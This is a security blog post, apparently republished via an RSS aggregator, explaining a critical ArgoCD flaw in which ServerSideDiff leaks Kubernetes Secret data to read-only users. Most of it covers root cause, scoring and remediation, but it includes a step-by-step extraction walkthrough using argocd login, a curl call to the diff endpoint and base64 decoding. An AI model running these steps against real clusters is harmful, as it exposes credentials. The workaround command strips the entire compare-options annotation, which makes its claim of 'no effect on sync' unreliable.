






















A read-only ArgoCD user can extract every Kubernetes Secret in your cluster.
That's the practical summary of GHSA-3v3m-wc6v-x4x3, a CVSS 9.6 Critical vulnerability affecting ArgoCD versions 3.2.0 through 3.3.8 (GitHub Advisory, 2026). No admin access. No special tooling. One annotation and a diff request.
The vulnerability lives in ArgoCD's ServerSideDiff feature. When an Application has the IncludeMutationWebhook=true annotation, the diff endpoint returns raw Kubernetes API responses that include the full .data contents of Secrets, base64-encoded and trivially decodable. The root cause is a single missing function call: hideSecretData() was wired into every other diff code path but was never added to the ServerSideDiff handler.
This post explains exactly how the vulnerability works, how to reproduce the attack, and how to remediate it. If you're running ArgoCD 3.2.0–3.3.8 in production, patch before reading the rest.
Key Takeaways
- ArgoCD 3.2.0–3.3.8 has a CVSS 9.6 vulnerability (GHSA-3v3m-wc6v-x4x3) where the ServerSideDiff endpoint leaks plaintext Kubernetes Secrets (GitHub Advisory, 2026)
- Only a read-only ArgoCD account and one annotation is required to exploit it
- The root cause is a missing
hideSecretData()call in the ServerSideDiff code path- Patch immediately to 3.3.9 or 3.2.11
ArgoCD has two diff strategies for computing whether a live resource matches its desired state. The default is Client-Side Diff. The newer option, Server-Side Diff, was introduced to handle cases where admission webhooks mutate resources in ways the client-side approach can't predict (ArgoCD Diff Strategies Docs, 2024).
Client-Side Diff works entirely in-process. ArgoCD merges the last-applied-configuration annotation from the live resource with the desired state from Git. No Kubernetes API call is made for the diff computation itself. This approach works well for static resources, but it breaks when admission webhooks inject sidecars, add labels, or set defaults that aren't tracked in the last-applied annotation.
Server-Side Diff solves that problem differently. ArgoCD sends a Server-Side Apply dry-run request to the Kubernetes API server: essentially a kubectl apply --server-side --dry-run=server. The API server computes what the resource would look like after a real apply, including all webhook mutations and managed-field merges, then returns that computed state without persisting anything. ArgoCD calls this the PredictedLive state and diffs it against the actual live resource.
You enable Server-Side Diff per application with this annotation:
metadata:
annotations:
argocd.argoproj.io/compare-options: ServerSideDiff=true
Or globally via the argocd-cmd-params-cm ConfigMap:
data:
controller.diff.server.side: "true"
The IncludeMutationWebhook=true flag goes one step further. It tells ArgoCD to include mutations from mutating admission webhooks in the diff. This is what triggers the vulnerable code path.
Server-Side Apply, introduced in Kubernetes 1.18, changed how field ownership works at the API server level (Kubernetes Server-Side Apply Docs, 2024). Every field in a resource has an owner, tracked in metadata.managedFields. Different controllers own different fields of the same resource.
When ArgoCD sends a dry-run Server-Side Apply request, the API call looks like this:
kubectl apply --server-side --dry-run=server -f my-secret.yaml
Under the hood, that's an HTTP PATCH to the Kubernetes API server:
PATCH /api/v1/namespaces/production/secrets/my-app-credentials?fieldManager=argocd&dryRun=All
The API server receives this request and merges the fields ArgoCD is managing with the fields owned by other field managers, such as kube-controller-manager, external-secrets-operator, or any other controller that has touched the resource. The API server then returns the fully merged resource state as the response — including all fields owned by all managers.
Here's the critical part: if kube-controller-manager owns the .data field of a Secret (common for service account tokens and controller-managed credentials), that .data field appears in the dry-run response. Base64-encoded. Complete. A normal Server-Side Apply response for a Secret looks like this:
apiVersion: v1
kind: Secret
metadata:
name: my-app-credentials
namespace: production
managedFields:
- manager: kube-controller-manager
fields:
f:data: {}
data:
DB_PASSWORD: cHJvZHVjdGlvblBhc3N3b3Jk
API_KEY: c2VjcmV0QVBJS2V5MTIz
ArgoCD stores this full response in PredictedLive. That's where the vulnerability begins.
ArgoCD does protect secret data in most code paths. The function hideSecretData() scrubs .data and .stringData fields from Kubernetes Secret resources before the diff result is returned to any API caller. Every standard compare and diff endpoint — GetManifests, GetManifestsWithFiles, GetResource, PatchResource — calls this function. The ServerSideDiff handler, added in the 3.2.x development cycle, never had this call wired in.
The vulnerable code path in server/application/application.go (lines 3051–3062) constructs its response with raw, unmasked states:
// server/application/application.go:3051-3062
responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{
TargetState: string(diffRes.PredictedLive),
LiveState: string(diffRes.NormalizedLive),
})
There is also a defense mechanism called removeWebhookMutation() that normally strips non-ArgoCD-managed fields from the SSA dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true.
When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the code path skips the defense entirely:
if o.ignoreMutationWebhook {
predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)
}
The raw Kubernetes SSA dry-run response — which contains real Secret values read from etcd — flows directly into the API response with no masking.
The vulnerable API response for an affected application looks like this:
{
"predictedLive": {
"apiVersion": "v1",
"kind": "Secret",
"metadata": {
"name": "my-app-credentials",
"namespace": "production"
},
"data": {
"DB_PASSWORD": "cHJvZHVjdGlvblBhc3N3b3Jk",
"API_KEY": "c2VjcmV0QVBJS2V5MTIz"
}
}
}
In the patched versions (3.3.9 and 3.2.11), the same response masks the data fields:
{
"predictedLive": {
"data": {
"DB_PASSWORD": "***",
"API_KEY": "***"
}
}
}
The fix is a single hideSecretData() call in the ServerSideDiff response handler. One missing line. CVSS 9.6.
The vulnerability affects secrets where field ownership belongs to a non-ArgoCD field manager. If ArgoCD itself owns the .data fields, the dry-run response only reflects what ArgoCD would write. The sensitive case is when another controller — like kube-controller-manager for service account tokens, or external-secrets-operator for externally synced secrets — owns those fields. The API server dutifully includes them in the merged dry-run response.
The scariest part of this attack is how little privilege it requires. Here's the complete sequence.
Step 1: Attacker authenticates as a read-only ArgoCD user. A CI/CD service account token, a developer's read-only credentials, or any account with the default viewer role is sufficient.
argocd login argocd.company.internal --username [email protected] --password readonlypass
Step 2: Identify applications with the vulnerable annotation.
argocd app list
argocd app get my-production-app -o yaml | grep -A2 compare-options
Step 3: Confirm the vulnerable annotation is present.
metadata:
annotations:
argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
Step 4: Trigger a diff via the ArgoCD API. The attacker uses their Bearer token to call the ServerSideDiff endpoint directly.
curl -s -H "Authorization: Bearer $ARGOCD_TOKEN" "https://argocd.company.internal/api/v1/applications/my-production-app/resource-tree/diff" | jq '.items[].predictedLive'
This returns the full PredictedLive JSON for every resource in the application, including Secrets.
Step 5: Decode the extracted values. Base64 decoding is trivial.
echo "cHJvZHVjdGlvblBhc3N3b3Jk" | base64 -d
# Output: productionPassword
echo "c2VjcmV0QVBJS2V5MTIz" | base64 -d
# Output: secretAPIKey123
The entire attack — from authentication to plaintext secret — takes under two minutes with basic tooling. The official PoC published with the advisory demonstrates automated extraction across all managed secrets in an application via the gRPC /application.ApplicationService/ServerSideDiff endpoint, covering service account tokens, TLS certificates, and database credentials (GitHub Advisory, 2026).
The most realistic attack scenario isn't a targeted breach. It's opportunistic lateral movement following a credential leak.
CI/CD service accounts with read-only ArgoCD access are extremely common. Jenkins pipelines, GitHub Actions workflows, and GitLab CI jobs routinely receive ArgoCD viewer tokens to check deployment status or wait for sync completion. These tokens frequently end up in environment variable logs, build artifacts, or misconfigured secrets management systems.
An attacker who obtains one of these tokens can enumerate every ArgoCD Application in the cluster. Any application with IncludeMutationWebhook=true becomes an extraction point. The attacker doesn't need to know which specific secrets exist — they trigger a diff on each application and parse the predictedLive fields.
The types of data that can be extracted include:
kube-controller-manager)The Scope: Changed metric in the CVSS vector (S:C) reflects exactly this. The attacker starts with a compromised ArgoCD viewer token and ends up with credentials that affect resources far outside the ArgoCD system itself. That's what drives the score to 9.6 despite requiring low privileges.
The CVSS:3.1 vector for this vulnerability is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N with a score of 9.6 (GitHub Advisory, 2026). Each component tells part of the story.
| Metric | Value | Meaning |
|---|---|---|
| Attack Vector | Network | Exploitable over the network via the ArgoCD API |
| Attack Complexity | Low | No special conditions, race conditions, or extra configuration required |
| Privileges Required | Low | A read-only ArgoCD viewer account is sufficient |
| User Interaction | None | No victim action needed; the attacker acts independently |
| Scope | Changed | Impacts the Kubernetes cluster beyond ArgoCD itself |
| Confidentiality | High | Full secret data is extracted in plaintext |
| Integrity | High | Extracted secrets enable further compromise of cluster resources |
| Availability | None | ArgoCD and the cluster remain fully operational during exploitation |
The Integrity: High rating deserves a note. The vulnerability doesn't directly modify data. But extracted secrets enable integrity violations elsewhere: a leaked database password can lead to data modification, and a leaked TLS private key can enable man-in-the-middle attacks. The CVSS scoring accounts for this downstream impact.
This vulnerability has a patch. Upgrade to 3.3.9 or 3.2.11 as soon as possible (GitHub Releases, 2026). Both patched versions were released on April 30, 2026, one day before the advisory was published.
Immediate action: Upgrade ArgoCD.
# Upgrade to the patched version on the 3.3.x branch
helm upgrade argocd argo/argo-cd --version 3.3.9 -n argocd
# Or if you are on the 3.2.x branch
helm upgrade argocd argo/argo-cd --version 3.2.11 -n argocd
For raw manifest installs:
# Non-HA install on 3.3.9
kubectl apply -n argocd --server-side --force-conflicts -f https://raw.githubusercontent.com/argoproj/argo-cd/v3.3.9/manifests/install.yaml
Find all exposed applications. Run this against your cluster to identify every application carrying the vulnerable annotation:
kubectl get applications -A -o json | jq '.items[] | select(.metadata.annotations["argocd.argoproj.io/compare-options"] | contains("IncludeMutationWebhook=true")) | .metadata.name'
Workaround if patching is not immediately possible. Remove the annotation from all applications. This disables the vulnerable code path without affecting sync behavior.
kubectl annotate application -A --overwrite argocd.argoproj.io/compare-options-
Note the trailing hyphen — that removes the annotation rather than setting it.
Detect suspicious ServerSideDiff API calls. Check your ArgoCD audit logs for requests to /api/v1/applications/*/resource-tree/diff from service accounts that don't normally trigger diffs. Unexpected diff calls from CI/CD tokens outside of deployment windows are a potential indicator.
Longer-term hardening. Restrict read-only viewer permissions to explicitly trusted service accounts. Implement ArgoCD project-level RBAC to limit which accounts can view which applications. Not every CI/CD job needs access to production application diffs.
Does this affect ArgoCD v2.x?
No. The vulnerability affects ArgoCD versions 3.2.0 through 3.3.8 only. The ServerSideDiff feature with IncludeMutationWebhook=true support was introduced in the 3.x series. ArgoCD 2.x users are not affected by this specific advisory (GitHub Advisory, 2026).
Do I need ServerSideDiff enabled globally to be vulnerable?
No. The vulnerability triggers at the per-application annotation level. Even if you haven't set controller.diff.server.side: "true" globally in argocd-cmd-params-cm, any individual application with argocd.argoproj.io/compare-options: IncludeMutationWebhook=true is vulnerable. The global setting and the per-application annotation are independent triggers.
Is this exploitable without network access to the ArgoCD API?
No. The CVSS Attack Vector is Network (AV:N), meaning the attacker needs to reach the ArgoCD API endpoint. If your ArgoCD API server is strictly internal with no access from the attacker's location, exploitation requires network access first. However, internal CI/CD systems typically do have access to the ArgoCD API.
What's the difference between ServerSideDiff=true and IncludeMutationWebhook=true?
ServerSideDiff=true enables the server-side diff strategy for an application. IncludeMutationWebhook=true is an additional flag that forces the dry-run request to pass through mutating admission webhooks. The vulnerability requires IncludeMutationWebhook=true specifically. You can have ServerSideDiff=true without IncludeMutationWebhook=true and not be vulnerable to this specific issue.
Was this exploited in the wild?
There is no public evidence of in-the-wild exploitation as of May 2026. The GitHub Security Advisory does not indicate known exploitation. However, the low barrier to entry — read-only access and one annotation — makes this straightforward to exploit once the advisory is public. Treat this as actively exploitable and patch immediately.
The ServerSideDiff handler was added to ArgoCD's 3.2.x codebase without the hideSecretData() call that protects every other diff endpoint. Any authenticated user — including read-only viewers — can extract full Kubernetes Secret data from any application carrying the IncludeMutationWebhook=true annotation.
The CVSS 9.6 score reflects the following: low privilege, no interaction, network-accessible, and the ability to extract credentials that impact the entire cluster. CI/CD service accounts with ArgoCD viewer access are common, and credential leaks from CI/CD environments happen regularly.
ArgoCD 3.3.9 and 3.2.11 both contain the patch. Run the annotation audit query against your cluster today, identify any exposed applications, and upgrade. If upgrading takes time, removing the IncludeMutationWebhook=true annotations is an effective immediate mitigation.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。